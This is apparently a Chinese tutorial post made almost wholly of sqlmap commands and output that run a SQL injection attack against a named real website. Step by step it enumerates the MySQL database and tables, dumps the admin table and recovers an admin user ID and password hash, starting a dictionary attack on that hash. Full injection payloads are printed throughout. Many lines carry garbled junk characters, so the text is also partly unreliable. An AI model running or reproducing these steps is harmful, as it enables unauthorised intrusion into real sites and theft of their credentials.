sqlmap实例注入mysql

admin

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql" --current-user       /*  注解：获取当前用户名称
) h+ ]! \: t1 L5 R3 X    sqlmap/0.9 - automatic SQL injection and database takeover tool
* F* s& C' |0 \# c    http://sqlmap.sourceforge.net

starting at: 16:53:54
[16:53:54] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
session file
[16:53:54] [INFO] resuming injection data from session file
6 I" _7 K0 i1 D% s# n[16:53:54] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
! D# v# G* n% V- J, w9 ^3 L[16:53:54] [INFO] testing connection to the target url
  u4 H; M4 G# m( ^% f% |; {sqlmap identified the following injection points with a total of 0 HTTP(s) reque
; M! b* O2 W$ K  o1 Ists:
7 L% i7 @9 @: C& a- i' a---
Place: GET
Parameter: id
3 m& ?3 J7 B/ `/ M2 R    Type: boolean-based blind
1 [' u, e. {6 P" m% e    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
* C/ v) R/ J* }( F    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
' G% r" O8 \+ U) |* m    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
$ O- m3 c* h* X7 j, D2 J(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
! c! ~* _% u1 e+ Q+ hCHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
' ]# i, J1 d, S0 q    Payload: id=276 AND SLEEP(5)
! ~) H; e. o' G/ o4 o1 o---
$ V' y' W0 e/ J% y# h[16:53:55] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
[16:53:55] [INFO] fetching current user
  z' E. O3 I8 Z' O8 v3 Jcurrent user:    'root@localhost'   
[16:53:58] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
: _, M0 [3 v- ttput\www.wepost.com.hk'

shutting down at: 16:53:58
( _/ y5 a8 R, [0 y3 v
9 r. z) D, Y; E2 l# LD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
; \+ N" X8 h- Q& xms "Mysql" --current-db                  /*当前数据库
    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:54:16
[16:54:16] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
session file
3 T( o! m6 u# B! k# n) m7 q[16:54:16] [INFO] resuming injection data from session file
[16:54:16] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
" h0 ^  V. j. |6 y* h& t2 W[16:54:16] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
+ q7 e8 o8 S* P& [Parameter: id
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
7 w9 ^% [/ t5 t% G; Q    Type: error-based
1 O7 }4 O2 i' H/ ^2 X; u    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
: L8 u6 O- Z# w# j" C2 |, c% S    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
  w& S: H' [8 I% Z: A),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
, C- b* W1 R1 d& R; W. R1 H& \# `    Type: UNION query
, L  v' u% R7 z# K7 M    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
( q2 l. \# M) f0 c' ]  ^CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
) l, G! F  x1 |: u9 Z7 y    Type: AND/OR time-based blind
2 j6 ~! n& S) T! k4 I  @    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
---
' Y* ?' R) L3 A2 J0 ~- @: R[16:54:17] [INFO] the back-end DBMS is MySQL
& j3 L' t: @) W( m% |5 S6 t2 Vweb server operating system: Windows
! t' j0 ~! ]- y/ N1 O/ Q2 S# rweb application technology: Apache 2.2.11, PHP 5.3.0
2 E/ {% M( q+ ^  _back-end DBMS: MySQL 5.0
5 N6 |- h' i9 `) s[16:54:17] [INFO] fetching current database
current database:    'wepost'
[16:54:18] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
tput\www.wepost.com.hk'

shutting down at: 16:54:18
D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
: q4 K# o4 {  A$ f/ n( f+ nms "Mysql" --tables  -D "wepost"         /*获取当前数据库的表名
$ }3 |& C/ R5 |0 {! o# x    sqlmap/0.9 - automatic SQL injection and database takeover tool
    http://sqlmap.sourceforge.net

starting at: 16:55:25
[16:55:25] [INFO] using 'D:\Python27\sqlmap\output\www.wepost.com.hk\session' as
session file
[16:55:25] [INFO] resuming injection data from session file
5 g/ ?1 T% ^" r% \2 q- B$ o[16:55:25] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[16:55:25] [INFO] testing connection to the target url
( t9 G; M) `% e5 Q1 c1 p- hsqlmap identified the following injection points with a total of 0 HTTP(s) reque
! e4 d/ S+ I4 Y9 X+ m. E# Qsts:
: h5 I/ F: d4 ?, U7 A8 w6 ^---
Place: GET
: ]; e! g0 f: {- [5 wParameter: id
    Type: boolean-based blind
- a( p) U/ ]+ z8 Z    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=276 AND 799=799
    Type: error-based
4 k# S! Q4 t( Q( J" H% b2 i" A    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
9 d! _* F6 O# ]& L3 r),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
) ^- Q' Z! n& t8 C$ j/ x7 k    Title: MySQL UNION query (NULL) - 1 to 10 columns
: f0 n, V  f+ e. I& o- b    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
- i0 J2 r# t6 F0 G5 p( Z: o! L( t---
$ @% J  w7 p6 \[16:55:26] [INFO] the back-end DBMS is MySQL
. E% O, T+ D4 I$ C& xweb server operating system: Windows
web application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
) \2 Z" X: E- w) |: U[16:55:26] [INFO] fetching tables for database 'wepost'
[16:55:27] [INFO] the SQL query used returns 6 entries
Database: wepost
[6 tables]
+-------------+
| admin       |
7 }+ u+ ?( A  f. {, x' W| article     |
| contributor |
) `0 q, {7 y- n: k| idea        |
* S  E6 v+ n, W6 S8 W$ ?& `* w1 {| image       |
| issue       |
+-------------+
[16:55:33] [INFO] Fetched data logged to text files under 'D:\Python27\sqlmap\ou
; i7 P% R: Z( n9 ntput\www.wepost.com.hk'

shutting down at: 16:55:33

D:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
0 J' T: g7 y1 e, kms "Mysql" --columns -T "admin" users-D "wepost" -v 0     /*获取admin表的字段名
    sqlmap/0.9 - automatic SQL injection and database takeover tool
" c9 w" p* E  ~. G0 Z& E0 E    http://sqlmap.sourceforge.net

starting at: 16:56:06
+ f- d0 u7 j* tsqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
+ K: h% }, ]0 h8 k" m( sParameter: id
/ [& Q. Q, K- w    Type: boolean-based blind
) b" a* Q' d2 {& Z% h% T' g    Title: AND boolean-based blind - WHERE or HAVING clause
& `! s3 S4 k& `7 C* t+ n+ d    Payload: id=276 AND 799=799
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
/ z. z5 q1 O" }' [; m7 a1 V" q),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
' |3 \! v, ~: u0 O+ I    Title: MySQL UNION query (NULL) - 1 to 10 columns
; [! f, B6 E8 X' g' h    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
+ K  @2 q# O. ~' q5 x    Type: AND/OR time-based blind
. N% R6 _0 _, {. D# t% x+ m    Title: MySQL > 5.0.11 AND time-based blind
, {2 J. ?) B& K  T- [) g    Payload: id=276 AND SLEEP(5)
---
web server operating system: Windows
- k. O5 K* [; Q6 F. b5 Kweb application technology: Apache 2.2.11, PHP 5.3.0
+ y) ?/ o+ k9 q, Q0 e% @3 V: I% oback-end DBMS: MySQL 5.0
5 _) `4 N7 U" u7 t* w[16:56:11] [INFO] read from file 'D:\Python27\sqlmap\output\www.wepost.com.hk\se
7 a: T1 u5 ]) p3 ~' @ssion': wepost, wepost
Database: wepost
+ V( z( z6 K" YTable: admin
[4 columns]
, w/ s2 V$ V& o4 R' U2 d+ Q4 K+----------+-------------+
| Column   | Type        |
+----------+-------------+
6 q0 c: g/ t, v$ k% h4 l| id       | int(11)     |
* M/ H) [, b  ~| password | varchar(32) |
; Z+ o" p( v  E| type     | varchar(10) |
* `! o% K0 W5 ], a| userid   | varchar(20) |
) A" R# ~- @3 P  L: X. N1 m& Q+ s8 U4 D+----------+-------------+
+ l# R  R- U. y1 P: F! R3 {$ I

shutting down at: 16:56:19
) n, R- t) x- [6 P0 m) X
- z7 t6 y% F6 |+ jD:\Python27\sqlmap>sqlmap.py -u http://www.wepost.com.hk/article.php?id=276 --db
ms "Mysql"  --dump  -C "userid,password"  -T "admin" -D "wepost" -v 0      /*获取字段里面的内容
8 \- S, t, I* j7 Q$ l9 A# g    sqlmap/0.9 - automatic SQL injection and database takeover tool
: A# N" l" w4 z# `* Y6 a( P* |    http://sqlmap.sourceforge.net

starting at: 16:57:14
  b& T& O: g' N6 q" Msqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
$ e. b/ \3 i* V4 |/ P7 x+ j' i' v---
Place: GET
" z& z( ?7 B$ P$ j; N* y/ P6 `9 oParameter: id
    Type: boolean-based blind
8 n5 R3 x6 H% o    Title: AND boolean-based blind - WHERE or HAVING clause
/ H$ j3 G2 D  J0 Q8 u    Payload: id=276 AND 799=799
, ]  g6 p( }: Y+ x    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: id=276 AND (SELECT 8404 FROM(SELECT COUNT(*),CONCAT(CHAR(58,99,118,
120,58),(SELECT (CASE WHEN (8404=8404) THEN 1 ELSE 0 END)),CHAR(58,110,99,118,58
2 }! W7 |4 Y9 Q0 `),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
    Type: UNION query
    Title: MySQL UNION query (NULL) - 1 to 10 columns
    Payload: id=-8474 UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(CHAR
/ N  o/ h, w/ d% m0 L9 d(58,99,118,120,58),IFNULL(CAST(CHAR(79,76,101,85,86,105,101,89,109,65) AS CHAR),
CHAR(32)),CHAR(58,110,99,118,58)), NULL, NULL, NULL#
! f7 B6 W1 y9 c" H  r& K    Type: AND/OR time-based blind
    Title: MySQL > 5.0.11 AND time-based blind
    Payload: id=276 AND SLEEP(5)
---
web server operating system: Windows
9 i7 w, W, E, L* H$ k7 Dweb application technology: Apache 2.2.11, PHP 5.3.0
back-end DBMS: MySQL 5.0
" g) W1 b) n6 J8 ~8 J/ s# L/ arecognized possible password hash values. do you want to use dictionary attack o
n retrieved table items? [Y/n/q] y
what's the dictionary's location? [D:\Python27\sqlmap\txt\wordlist.txt]
do you want to use common password suffixes? (slow!) [y/N] y
7 I6 a8 L1 a: M$ ZDatabase: wepost
Table: admin
& ^, H/ x0 F; U6 c# z- C[1 entry]
+----------------------------------+------------+
; X6 v+ |3 ~+ ^1 h$ R| password                         | userid     |
2 Y; s. q' _- A! u1 X$ I% R+----------------------------------+------------+
| 7d4d7589db8b28e04db0982dd0e92189 | wepost2010 |
+----------------------------------+------------+

shutting down at: 16:58:14

D:\Python27\sqlmap>